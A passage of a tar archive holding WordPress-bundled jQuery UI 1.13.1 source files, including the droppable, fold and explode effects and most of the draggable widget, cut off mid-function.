delete that.xhr; } }; // Not remote if ( this._isLocal( anchor[ 0 ] ) ) { return; } this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) ); // Support: jQuery <1.8 // jQuery <1.8 returns false if the request is canceled in beforeSend, // but as of 1.8, $.ajax() always returns a jqXHR object. if ( this.xhr && this.xhr.statusText !== "canceled" ) { this._addClass( tab, "ui-tabs-loading" ); panel.attr( "aria-busy", "true" ); this.xhr .done( function( response, status, jqXHR ) { // support: jQuery <1.8 // http://bugs.jquery.com/ticket/11778 setTimeout( function() { panel.html( response ); that._trigger( "load", event, eventData ); complete( jqXHR, status ); }, 1 ); } ) .fail( function( jqXHR, status ) { // support: jQuery <1.8 // http://bugs.jquery.com/ticket/11778 setTimeout( function() { complete( jqXHR, status ); }, 1 ); } ); } }, _ajaxSettings: function( anchor, event, eventData ) { var that = this; return { // Support: IE <11 only // Strip any hash that exists to prevent errors with the Ajax request url: anchor.attr( "href" ).replace( /#.*$/, "" ), beforeSend: function( jqXHR, settings ) { return that._trigger( "beforeLoad", event, $.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) ); } }; }, _getPanelForTab: function( tab ) { var id = $( tab ).attr( "aria-controls" ); return this.element.find( this._sanitizeSelector( "#" + id ) ); } } ); // DEPRECATED // TODO: Switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for ui-tab class (now ui-tabs-tab) $.widget( "ui.tabs", $.ui.tabs, { _processTabs: function() { this._superApply( arguments ); this._addClass( this.tabs, "ui-tab" ); } } ); } return $.ui.tabs; } ); ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/droppable.js���������������������������������������������������������������������������0000644�����������������00000031130�14717703502�0011426 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Droppable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Droppable //>>group: Interactions //>>description: Enables drop targets for draggable elements. //>>docs: http://api.jqueryui.com/droppable/ //>>demos: http://jqueryui.com/droppable/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./draggable", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.droppable", { version: "1.13.1", widgetEventPrefix: "drop", options: { accept: "*", addClasses: true, greedy: false, scope: "default", tolerance: "intersect", // Callbacks activate: null, deactivate: null, drop: null, out: null, over: null }, _create: function() { var proportions, o = this.options, accept = o.accept; this.isover = false; this.isout = true; this.accept = typeof accept === "function" ? accept : function( d ) { return d.is( accept ); }; this.proportions = function( /* valueToWrite */ ) { if ( arguments.length ) { // Store the droppable's proportions proportions = arguments[ 0 ]; } else { // Retrieve or derive the droppable's proportions return proportions ? proportions : proportions = { width: this.element[ 0 ].offsetWidth, height: this.element[ 0 ].offsetHeight }; } }; this._addToManager( o.scope ); if ( o.addClasses ) { this._addClass( "ui-droppable" ); } }, _addToManager: function( scope ) { // Add the reference and positions to the manager $.ui.ddmanager.droppables[ scope ] = $.ui.ddmanager.droppables[ scope ] || []; $.ui.ddmanager.droppables[ scope ].push( this ); }, _splice: function( drop ) { var i = 0; for ( ; i < drop.length; i++ ) { if ( drop[ i ] === this ) { drop.splice( i, 1 ); } } }, _destroy: function() { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); }, _setOption: function( key, value ) { if ( key === "accept" ) { this.accept = typeof value === "function" ? value : function( d ) { return d.is( value ); }; } else if ( key === "scope" ) { var drop = $.ui.ddmanager.droppables[ this.options.scope ]; this._splice( drop ); this._addToManager( value ); } this._super( key, value ); }, _activate: function( event ) { var draggable = $.ui.ddmanager.current; this._addActiveClass(); if ( draggable ) { this._trigger( "activate", event, this.ui( draggable ) ); } }, _deactivate: function( event ) { var draggable = $.ui.ddmanager.current; this._removeActiveClass(); if ( draggable ) { this._trigger( "deactivate", event, this.ui( draggable ) ); } }, _over: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._addHoverClass(); this._trigger( "over", event, this.ui( draggable ) ); } }, _out: function( event ) { var draggable = $.ui.ddmanager.current; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeHoverClass(); this._trigger( "out", event, this.ui( draggable ) ); } }, _drop: function( event, custom ) { var draggable = custom || $.ui.ddmanager.current, childrenIntersection = false; // Bail if draggable and droppable are same element if ( !draggable || ( draggable.currentItem || draggable.element )[ 0 ] === this.element[ 0 ] ) { return false; } this.element .find( ":data(ui-droppable)" ) .not( ".ui-draggable-dragging" ) .each( function() { var inst = $( this ).droppable( "instance" ); if ( inst.options.greedy && !inst.options.disabled && inst.options.scope === draggable.options.scope && inst.accept.call( inst.element[ 0 ], ( draggable.currentItem || draggable.element ) ) && $.ui.intersect( draggable, $.extend( inst, { offset: inst.element.offset() } ), inst.options.tolerance, event ) ) { childrenIntersection = true; return false; } } ); if ( childrenIntersection ) { return false; } if ( this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this._removeActiveClass(); this._removeHoverClass(); this._trigger( "drop", event, this.ui( draggable ) ); return this.element; } return false; }, ui: function( c ) { return { draggable: ( c.currentItem || c.element ), helper: c.helper, position: c.position, offset: c.positionAbs }; }, // Extension points just to make backcompat sane and avoid duplicating logic // TODO: Remove in 1.14 along with call to it below _addHoverClass: function() { this._addClass( "ui-droppable-hover" ); }, _removeHoverClass: function() { this._removeClass( "ui-droppable-hover" ); }, _addActiveClass: function() { this._addClass( "ui-droppable-active" ); }, _removeActiveClass: function() { this._removeClass( "ui-droppable-active" ); } } ); $.ui.intersect = ( function() { function isOverAxis( x, reference, size ) { return ( x >= reference ) && ( x < ( reference + size ) ); } return function( draggable, droppable, toleranceMode, event ) { if ( !droppable.offset ) { return false; } var x1 = ( draggable.positionAbs || draggable.position.absolute ).left + draggable.margins.left, y1 = ( draggable.positionAbs || draggable.position.absolute ).top + draggable.margins.top, x2 = x1 + draggable.helperProportions.width, y2 = y1 + draggable.helperProportions.height, l = droppable.offset.left, t = droppable.offset.top, r = l + droppable.proportions().width, b = t + droppable.proportions().height; switch ( toleranceMode ) { case "fit": return ( l <= x1 && x2 <= r && t <= y1 && y2 <= b ); case "intersect": return ( l < x1 + ( draggable.helperProportions.width / 2 ) && // Right Half x2 - ( draggable.helperProportions.width / 2 ) < r && // Left Half t < y1 + ( draggable.helperProportions.height / 2 ) && // Bottom Half y2 - ( draggable.helperProportions.height / 2 ) < b ); // Top Half case "pointer": return isOverAxis( event.pageY, t, droppable.proportions().height ) && isOverAxis( event.pageX, l, droppable.proportions().width ); case "touch": return ( ( y1 >= t && y1 <= b ) || // Top edge touching ( y2 >= t && y2 <= b ) || // Bottom edge touching ( y1 < t && y2 > b ) // Surrounded vertically ) && ( ( x1 >= l && x1 <= r ) || // Left edge touching ( x2 >= l && x2 <= r ) || // Right edge touching ( x1 < l && x2 > r ) // Surrounded horizontally ); default: return false; } }; } )(); /* This manager tracks offsets of draggables and droppables */ $.ui.ddmanager = { current: null, droppables: { "default": [] }, prepareOffsets: function( t, event ) { var i, j, m = $.ui.ddmanager.droppables[ t.options.scope ] || [], type = event ? event.type : null, // workaround for #2317 list = ( t.currentItem || t.element ).find( ":data(ui-droppable)" ).addBack(); droppablesLoop: for ( i = 0; i < m.length; i++ ) { // No disabled and non-accepted if ( m[ i ].options.disabled || ( t && !m[ i ].accept.call( m[ i ].element[ 0 ], ( t.currentItem || t.element ) ) ) ) { continue; } // Filter out elements in the current dragged item for ( j = 0; j < list.length; j++ ) { if ( list[ j ] === m[ i ].element[ 0 ] ) { m[ i ].proportions().height = 0; continue droppablesLoop; } } m[ i ].visible = m[ i ].element.css( "display" ) !== "none"; if ( !m[ i ].visible ) { continue; } // Activate the droppable if used directly from draggables if ( type === "mousedown" ) { m[ i ]._activate.call( m[ i ], event ); } m[ i ].offset = m[ i ].element.offset(); m[ i ].proportions( { width: m[ i ].element[ 0 ].offsetWidth, height: m[ i ].element[ 0 ].offsetHeight } ); } }, drop: function( draggable, event ) { var dropped = false; // Create a copy of the droppables in case the list changes during the drop (#9116) $.each( ( $.ui.ddmanager.droppables[ draggable.options.scope ] || [] ).slice(), function() { if ( !this.options ) { return; } if ( !this.options.disabled && this.visible && $.ui.intersect( draggable, this, this.options.tolerance, event ) ) { dropped = this._drop.call( this, event ) || dropped; } if ( !this.options.disabled && this.visible && this.accept.call( this.element[ 0 ], ( draggable.currentItem || draggable.element ) ) ) { this.isout = true; this.isover = false; this._deactivate.call( this, event ); } } ); return dropped; }, dragStart: function( draggable, event ) { // Listen for scrolling so that if the dragging causes scrolling the position of the // droppables can be recalculated (see #5003) draggable.element.parentsUntil( "body" ).on( "scroll.droppable", function() { if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } ); }, drag: function( draggable, event ) { // If you have a highly dynamic page, you might try this option. It renders positions // every time you move the mouse. if ( draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } // Run through all droppables and check their positions based on specific tolerance options $.each( $.ui.ddmanager.droppables[ draggable.options.scope ] || [], function() { if ( this.options.disabled || this.greedyChild || !this.visible ) { return; } var parentInstance, scope, parent, intersects = $.ui.intersect( draggable, this, this.options.tolerance, event ), c = !intersects && this.isover ? "isout" : ( intersects && !this.isover ? "isover" : null ); if ( !c ) { return; } if ( this.options.greedy ) { // find droppable parents with same scope scope = this.options.scope; parent = this.element.parents( ":data(ui-droppable)" ).filter( function() { return $( this ).droppable( "instance" ).options.scope === scope; } ); if ( parent.length ) { parentInstance = $( parent[ 0 ] ).droppable( "instance" ); parentInstance.greedyChild = ( c === "isover" ); } } // We just moved into a greedy child if ( parentInstance && c === "isover" ) { parentInstance.isover = false; parentInstance.isout = true; parentInstance._out.call( parentInstance, event ); } this[ c ] = true; this[ c === "isout" ? "isover" : "isout" ] = false; this[ c === "isover" ? "_over" : "_out" ].call( this, event ); // We just moved out of a greedy child if ( parentInstance && c === "isout" ) { parentInstance.isout = false; parentInstance.isover = true; parentInstance._over.call( parentInstance, event ); } } ); }, dragStop: function( draggable, event ) { draggable.element.parentsUntil( "body" ).off( "scroll.droppable" ); // Call prepareOffsets one final time since IE does not fire return scroll events when // overflow was caused by drag (see #5003) if ( !draggable.options.refreshPositions ) { $.ui.ddmanager.prepareOffsets( draggable, event ); } } }; // DEPRECATED // TODO: switch return back to widget declaration at top of file when this is removed if ( $.uiBackCompat !== false ) { // Backcompat for activeClass and hoverClass options $.widget( "ui.droppable", $.ui.droppable, { options: { hoverClass: false, activeClass: false }, _addActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.addClass( this.options.activeClass ); } }, _removeActiveClass: function() { this._super(); if ( this.options.activeClass ) { this.element.removeClass( this.options.activeClass ); } }, _addHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.addClass( this.options.hoverClass ); } }, _removeHoverClass: function() { this._super(); if ( this.options.hoverClass ) { this.element.removeClass( this.options.hoverClass ); } } } ); } return $.ui.droppable; } ); ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-fold.js�������������������������������������������������������������������������0000644�����������������00000004163�14717703502�0011642 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Fold 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Fold Effect //>>group: Effects //>>description: Folds an element first horizontally and then vertically. //>>docs: http://api.jqueryui.com/fold-effect/ //>>demos: http://jqueryui.com/effect/ ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./effect" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; return $.effects.define( "fold", "hide", function( options, done ) { // Create element var element = $( this ), mode = options.mode, show = mode === "show", hide = mode === "hide", size = options.size || 15, percent = /([0-9]+)%/.exec( size ), horizFirst = !!options.horizFirst, ref = horizFirst ? [ "right", "bottom" ] : [ "bottom", "right" ], duration = options.duration / 2, placeholder = $.effects.createPlaceholder( element ), start = element.cssClip(), animation1 = { clip: $.extend( {}, start ) }, animation2 = { clip: $.extend( {}, start ) }, distance = [ start[ ref[ 0 ] ], start[ ref[ 1 ] ] ], queuelen = element.queue().length; if ( percent ) { size = parseInt( percent[ 1 ], 10 ) / 100 * distance[ hide ? 0 : 1 ]; } animation1.clip[ ref[ 0 ] ] = size; animation2.clip[ ref[ 0 ] ] = size; animation2.clip[ ref[ 1 ] ] = 0; if ( show ) { element.cssClip( animation2.clip ); if ( placeholder ) { placeholder.css( $.effects.clipToBox( animation2 ) ); } animation2.clip = start; } // Animate element .queue( function( next ) { if ( placeholder ) { placeholder .animate( $.effects.clipToBox( animation1 ), duration, options.easing ) .animate( $.effects.clipToBox( animation2 ), duration, options.easing ); } next(); } ) .animate( animation1, duration, options.easing ) .animate( animation2, duration, options.easing ) .queue( done ); $.effects.unshift( element, queuelen, 4 ); } ); } ); �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/effect-explode.min.js������������������������������������������������������������������0000644�����������������00000002122�14717703502�0013131 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Effects Explode 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ !function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./effect"],e):e(jQuery)}(function(b){"use strict";return b.effects.define("explode","hide",function(e,i){var t,o,s,n,f,d,c=e.pieces?Math.round(Math.sqrt(e.pieces)):3,a=c,l=b(this),h="show"===e.mode,p=l.show().css("visibility","hidden").offset(),r=Math.ceil(l.outerWidth()/a),u=Math.ceil(l.outerHeight()/c),v=[];function y(){v.push(this),v.length===c*a&&(l.css({visibility:"visible"}),b(v).remove(),i())}for(t=0;t<c;t++)for(n=p.top+t*u,d=t-(c-1)/2,o=0;o<a;o++)s=p.left+o*r,f=o-(a-1)/2,l.clone().appendTo("body").wrap("<div></div>").css({position:"absolute",visibility:"visible",left:-o*r,top:-t*u}).parent().addClass("ui-effects-explode").css({position:"absolute",overflow:"hidden",width:r,height:u,left:s+(h?f*r:0),top:n+(h?d*u:0),opacity:h?0:1}).animate({left:s+(h?0:f*r),top:n+(h?0:d*u),opacity:h?1:0},e.duration||500,e.easing,y)})});����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������js/jquery/ui/draggable.js���������������������������������������������������������������������������0000644�����������������00000105067�14717703502�0011401 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������/*! * jQuery UI Draggable 1.13.1 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ //>>label: Draggable //>>group: Interactions //>>description: Enables dragging functionality for any element. //>>docs: http://api.jqueryui.com/draggable/ //>>demos: http://jqueryui.com/draggable/ //>>css.structure: ../../themes/base/draggable.css ( function( factory ) { "use strict"; if ( typeof define === "function" && define.amd ) { // AMD. Register as an anonymous module. define( [ "jquery", "./mouse", "./core" ], factory ); } else { // Browser globals factory( jQuery ); } } )( function( $ ) { "use strict"; $.widget( "ui.draggable", $.ui.mouse, { version: "1.13.1", widgetEventPrefix: "drag", options: { addClasses: true, appendTo: "parent", axis: false, connectToSortable: false, containment: false, cursor: "auto", cursorAt: false, grid: false, handle: false, helper: "original", iframeFix: false, opacity: false, refreshPositions: false, revert: false, revertDuration: 500, scope: "default", scroll: true, scrollSensitivity: 20, scrollSpeed: 20, snap: false, snapMode: "both", snapTolerance: 20, stack: false, zIndex: false, // Callbacks drag: null, start: null, stop: null }, _create: function() { if ( this.options.helper === "original" ) { this._setPositionRelative(); } if ( this.options.addClasses ) { this._addClass( "ui-draggable" ); } this._setHandleClassName(); this._mouseInit(); }, _setOption: function( key, value ) { this._super( key, value ); if ( key === "handle" ) { this._removeHandleClassName(); this._setHandleClassName(); } }, _destroy: function() { if ( ( this.helper || this.element ).is( ".ui-draggable-dragging" ) ) { this.destroyOnClear = true; return; } this._removeHandleClassName(); this._mouseDestroy(); }, _mouseCapture: function( event ) { var o = this.options; // Among others, prevent a drag on a resizable-handle if ( this.helper || o.disabled || $( event.target ).closest( ".ui-resizable-handle" ).length > 0 ) { return false; } //Quit if we're not on a valid handle this.handle = this._getHandle( event ); if ( !this.handle ) { return false; } this._blurActiveElement( event ); this._blockFrames( o.iframeFix === true ? "iframe" : o.iframeFix ); return true; }, _blockFrames: function( selector ) { this.iframeBlocks = this.document.find( selector ).map( function() { var iframe = $( this ); return $( "<div>" ) .css( "position", "absolute" ) .appendTo( iframe.parent() ) .outerWidth( iframe.outerWidth() ) .outerHeight( iframe.outerHeight() ) .offset( iframe.offset() )[ 0 ]; } ); }, _unblockFrames: function() { if ( this.iframeBlocks ) { this.iframeBlocks.remove(); delete this.iframeBlocks; } }, _blurActiveElement: function( event ) { var activeElement = $.ui.safeActiveElement( this.document[ 0 ] ), target = $( event.target ); // Don't blur if the event occurred on an element that is within // the currently focused element // See #10527, #12472 if ( target.closest( activeElement ).length ) { return; } // Blur any element that currently has focus, see #4261 $.ui.safeBlur( activeElement ); }, _mouseStart: function( event ) { var o = this.options; //Create and append the visible helper this.helper = this._createHelper( event ); this._addClass( this.helper, "ui-draggable-dragging" ); //Cache the helper size this._cacheHelperProportions(); //If ddmanager is used for droppables, set the global draggable if ( $.ui.ddmanager ) { $.ui.ddmanager.current = this; } /* * - Position generation - * This block generates everything position related - it's the core of draggables. */ //Cache the margins of the original element this._cacheMargins(); //Store the helper's css position this.cssPosition = this.helper.css( "position" ); this.scrollParent = this.helper.scrollParent( true ); this.offsetParent = this.helper.offsetParent(); this.hasFixedAncestor = this.helper.parents().filter( function() { return $( this ).css( "position" ) === "fixed"; } ).length > 0; //The element's absolute position on the page minus margins this.positionAbs = this.element.offset(); this._refreshOffsets( event ); //Generate the original position this.originalPosition = this.position = this._generatePosition( event, false ); this.originalPageX = event.pageX; this.originalPageY = event.pageY; //Adjust the mouse offset relative to the helper if "cursorAt" is supplied if ( o.cursorAt ) { this._adjustOffsetFromHelper( o.cursorAt ); } //Set a containment if given in the options this._setContainment(); //Trigger event + callbacks if ( this._trigger( "start", event ) === false ) { this._clear(); return false; } //Recache the helper size this._cacheHelperProportions(); //Prepare the droppable offsets if ( $.ui.ddmanager && !o.dropBehaviour ) { $.ui.ddmanager.prepareOffsets( this, event ); } // Execute the drag once - this causes the helper not to be visible before getting its // correct position this._mouseDrag( event, true ); // If the ddmanager is used for droppables, inform the manager that dragging has started // (see #5003) if ( $.ui.ddmanager ) { $.ui.ddmanager.dragStart( this, event ); } return true; }, _refreshOffsets: function( event ) { this.offset = { top: this.positionAbs.top - this.margins.top, left: this.positionAbs.left - this.margins.left, scroll: false, parent: this._getParentOffset(), relative: this._getRelativeOffset() }; this.offset.click = { left: event.pageX - this.offset.left, top: event.pageY - this.offset.top }; }, _mouseDrag: function( event, noPropagation ) { // reset any necessary cached properties (see #5009) if ( this.hasFixedAncestor ) { this.offset.parent = this._getParentOffset(); } //Compute the helpers position this.position = this._generatePosition( event, true ); this.positionAbs = this._convertPositionTo( "absolute" ); //Call plugins and callbacks and use the resulting position if something is returned if ( !noPropagation ) { var ui = this._uiHash(); if ( this._trigger( "drag", event, ui ) === false ) { this._mouseUp( new $.Event( "mouseup", event ) ); return false; } this.position = ui.position; } this.helper[ 0 ].style.left = this.position.left + "px"; this.helper[ 0 ].style.top = this.position.top + "px"; if ( $.ui.ddmanager ) { $.ui.ddmanager.drag( this, event ); } return false; }, _mouseStop: function( event ) { //If we are using droppables, inform the manager about the drop var that = this, dropped = false; if ( $.ui.ddmanager && !this.options.dropBehaviour ) { dropped = $.ui.ddmanager.drop( this, event ); } //if a drop comes from outside (a sortable) if ( this.dropped ) { dropped = this.dropped; this.dropped = false; } if ( ( this.options.revert === "invalid" && !dropped ) || ( this.options.revert === "valid" && dropped ) || this.options.revert === true || ( typeof this.options.revert === "function" && this.options.revert.call( this.element, dropped ) ) ) { $( this.helper ).animate( this.originalPosition, parseInt( this.options.revertDuration, 10 ), function() { if ( that._trigger( "stop", event ) !== false ) { that._clear(); } } ); } else { if ( this._trigger( "stop", event ) !== false ) { this._clear(); } } return false; }, _mouseUp: function( event ) { this._unblockFrames(); // If the ddmanager is used for droppables, inform the manager that dragging has stopped // (see #5003) if ( $.ui.ddmanager ) { $.ui.ddmanager.dragStop( this, event ); } // Only need to focus if the event occurred on the draggable itself, see #10527 if ( this.handleElement.is( event.target ) ) { // The interaction is over; whether or not the click resulted in a drag, // focus the element this.element.trigger( "focus" ); } return $.ui.mouse.prototype._mouseUp.call( this, event ); }, cancel: function() { if ( this.helper.is( ".ui-draggable-dragging" ) ) { this._mouseUp( new $.Event( "mouseup", { target: this.element[ 0 ] } ) ); } else { this._clear(); } return this; }, _getHandle: function( event ) { return this.options.handle ? !!$( event.target ).closest( this.element.find( this.options.handle ) ).length : true; }, _setHandleClassName: function() { this.handleElement = this.options.handle ? this.element.find( this.options.handle ) : this.element; this._addClass( this.handleElement, "ui-draggable-handle" ); }, _removeHandleClassName: function() { this._removeClass( this.handleElement, "ui-draggable-handle" ); }, _createHelper: function( event ) { var o = this.options, helperIsFunction = typeof o.helper === "function", helper = helperIsFunction ? $( o.helper.apply( this.element[ 0 ], [ event ] ) ) : ( o.helper === "clone" ? this.element.clone().removeAttr( "id" ) : this.element ); if ( !helper.parents( "body" ).length ) { helper.appendTo( ( o.appendTo === "parent" ? this.element[ 0 ].parentNode : o.appendTo ) ); } // Http://bugs.jqueryui.com/ticket/9446 // a helper function can return the original element // which wouldn't have been set to relative in _create if ( helperIsFunction && helper[ 0 ] === this.element[ 0 ] ) { this._setPositionRelative(); } if ( helper[ 0 ] !== this.element[ 0 ] && !( /(fixed|absolute)/ ).test( helper.css( "position" ) ) ) { helper.css( "position", "absolute" ); } return helper; }, _setPositionRelative: function() { if ( !( /^(?:r|a|f)/ ).test( this.element.css( "position" ) ) ) { this.element[ 0 ].style.position = "relative"; } }, _adjustOffsetFromHelper: function( obj ) { if ( typeof obj === "string" ) { obj = obj.split( " " ); } if ( Array.isArray( obj ) ) { obj = { left: +obj[ 0 ], top: +obj[ 1 ] || 0 }; } if ( "left" in obj ) { this.offset.click.left = obj.left + this.margins.left; } if ( "right" in obj ) { this.offset.click.left = this.helperProportions.width - obj.right + this.margins.left; } if ( "top" in obj ) { this.offset.click.top = obj.top + this.margins.top; } if ( "bottom" in obj ) { this.offset.click.top = this.helperProportions.height - obj.bottom + this.margins.top; } }, _isRootNode: function( element ) { return ( /(html|body)/i ).test( element.tagName ) || element === this.document[ 0 ]; }, _getParentOffset: function() { //Get the offsetParent and cache its position var po = this.offsetParent.offset(), document = this.document[ 0 ]; // This is a special case where we need to modify a offset calculated on start, since the // following happened: // 1. The position of the helper is absolute, so it's position is calculated based on the // next positioned parent // 2. The actual offset parent is a child of the scroll parent, and the scroll parent isn't // the document, which means that the scroll is included in the initial calculation of the // offset of the parent, and never recalculated upon drag if ( this.cssPosition === "absolute" && this.scrollParent[ 0 ] !== document && $.contains( this.scrollParent[ 0 ], this.offsetParent[ 0 ] ) ) { po.left += this.scrollParent.scrollLeft(); po.top += this.scrollParent.scrollTop(); } if ( this._isRootNode( this.offsetParent[ 0 ] ) ) { po = { top: 0, left: 0 }; } return { top: po.top + ( parseInt( this.offsetParent.css( "borderTopWidth" ), 10 ) || 0 ), left: po.left + ( parseInt( this.offsetParent.css( "borderLeftWidth" ), 10 ) || 0 ) }; }, _getRelativeOffset: function() { if ( this.cssPosition !== "relative" ) { return { top: 0, left: 0 }; } var p = this.element.position(), scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); return { top: p.top - ( parseInt( this.helper.css( "top" ), 10 ) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollTop() : 0 ), left: p.left - ( parseInt( this.helper.css( "left" ), 10 ) || 0 ) + ( !scrollIsRootNode ? this.scrollParent.scrollLeft() : 0 ) }; }, _cacheMargins: function() { this.margins = { left: ( parseInt( this.element.css( "marginLeft" ), 10 ) || 0 ), top: ( parseInt( this.element.css( "marginTop" ), 10 ) || 0 ), right: ( parseInt( this.element.css( "marginRight" ), 10 ) || 0 ), bottom: ( parseInt( this.element.css( "marginBottom" ), 10 ) || 0 ) }; }, _cacheHelperProportions: function() { this.helperProportions = { width: this.helper.outerWidth(), height: this.helper.outerHeight() }; }, _setContainment: function() { var isUserScrollable, c, ce, o = this.options, document = this.document[ 0 ]; this.relativeContainer = null; if ( !o.containment ) { this.containment = null; return; } if ( o.containment === "window" ) { this.containment = [ $( window ).scrollLeft() - this.offset.relative.left - this.offset.parent.left, $( window ).scrollTop() - this.offset.relative.top - this.offset.parent.top, $( window ).scrollLeft() + $( window ).width() - this.helperProportions.width - this.margins.left, $( window ).scrollTop() + ( $( window ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; return; } if ( o.containment === "document" ) { this.containment = [ 0, 0, $( document ).width() - this.helperProportions.width - this.margins.left, ( $( document ).height() || document.body.parentNode.scrollHeight ) - this.helperProportions.height - this.margins.top ]; return; } if ( o.containment.constructor === Array ) { this.containment = o.containment; return; } if ( o.containment === "parent" ) { o.containment = this.helper[ 0 ].parentNode; } c = $( o.containment ); ce = c[ 0 ]; if ( !ce ) { return; } isUserScrollable = /(scroll|auto)/.test( c.css( "overflow" ) ); this.containment = [ ( parseInt( c.css( "borderLeftWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingLeft" ), 10 ) || 0 ), ( parseInt( c.css( "borderTopWidth" ), 10 ) || 0 ) + ( parseInt( c.css( "paddingTop" ), 10 ) || 0 ), ( isUserScrollable ? Math.max( ce.scrollWidth, ce.offsetWidth ) : ce.offsetWidth ) - ( parseInt( c.css( "borderRightWidth" ), 10 ) || 0 ) - ( parseInt( c.css( "paddingRight" ), 10 ) || 0 ) - this.helperProportions.width - this.margins.left - this.margins.right, ( isUserScrollable ? Math.max( ce.scrollHeight, ce.offsetHeight ) : ce.offsetHeight ) - ( parseInt( c.css( "borderBottomWidth" ), 10 ) || 0 ) - ( parseInt( c.css( "paddingBottom" ), 10 ) || 0 ) - this.helperProportions.height - this.margins.top - this.margins.bottom ]; this.relativeContainer = c; }, _convertPositionTo: function( d, pos ) { if ( !pos ) { pos = this.position; } var mod = d === "absolute" ? 1 : -1, scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ); return { top: ( // The absolute mouse position pos.top + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.top * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.top * mod - ( ( this.cssPosition === "fixed" ? -this.offset.scroll.top : ( scrollIsRootNode ? 0 : this.offset.scroll.top ) ) * mod ) ), left: ( // The absolute mouse position pos.left + // Only for relative positioned nodes: Relative offset from element to offset parent this.offset.relative.left * mod + // The offsetParent's offset without borders (offset + border) this.offset.parent.left * mod - ( ( this.cssPosition === "fixed" ? -this.offset.scroll.left : ( scrollIsRootNode ? 0 : this.offset.scroll.left ) ) * mod ) ) }; }, _generatePosition: function( event, constrainPosition ) { var containment, co, top, left, o = this.options, scrollIsRootNode = this._isRootNode( this.scrollParent[ 0 ] ), pageX = event.pageX, pageY = event.pageY; // Cache the scroll if ( !scrollIsRootNode || !this.offset.scroll ) { this.offset.scroll = { top: this.scrollParent.scrollTop(), left: this.scrollParent.scrollLeft() }; } /* * - Position constraining - * Constrain the position to a mix of grid, containment. */ // If we are not dragging yet, we won't check for options if ( constrainPosition ) { if ( this.containment ) { if ( this.relativeContainer ) { co = this.relativeContainer.offset(); containment = [ this.containment[ 0 ] + co.left, this.containment[ 1 ] + co.top, this.containment[ 2 ] + co.left, this.containment[ 3 ] + co.top ]; } else { containment = this.containment; } if ( event.pageX - this.offset.click.left < containment[ 0 ] ) { pageX = containment[ 0 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top < containment[ 1 ] ) { pageY = containment[ 1 ] + this.offset.click.top; } if ( event.pageX - this.offset.click.left > containment[ 2 ] ) { pageX = containment[ 2 ] + this.offset.click.left; } if ( event.pageY - this.offset.click.top > containment[ 3 ] ) { pageY = containment[ 3 ] + this.offset.click.top; } } if ( o.grid ) { //Check for grid elements set to 0 to prevent divide by 0 error causing invalid // argument errors in IE (see ticket #6950) top = o.grid[ 1 ] ? this.originalPageY + Math.round( ( pageY - this.originalPageY ) / o.grid[ 1 ] ) * o.grid[ 1 ] : this.originalPageY; pageY = containment ? ( ( top - this.offset.click.top >= containment[ 1 ] || top - this.offset.click.top > containment[ 3 ] ) ? top : ( ( top - this.offset.click.top >= containment[ 1 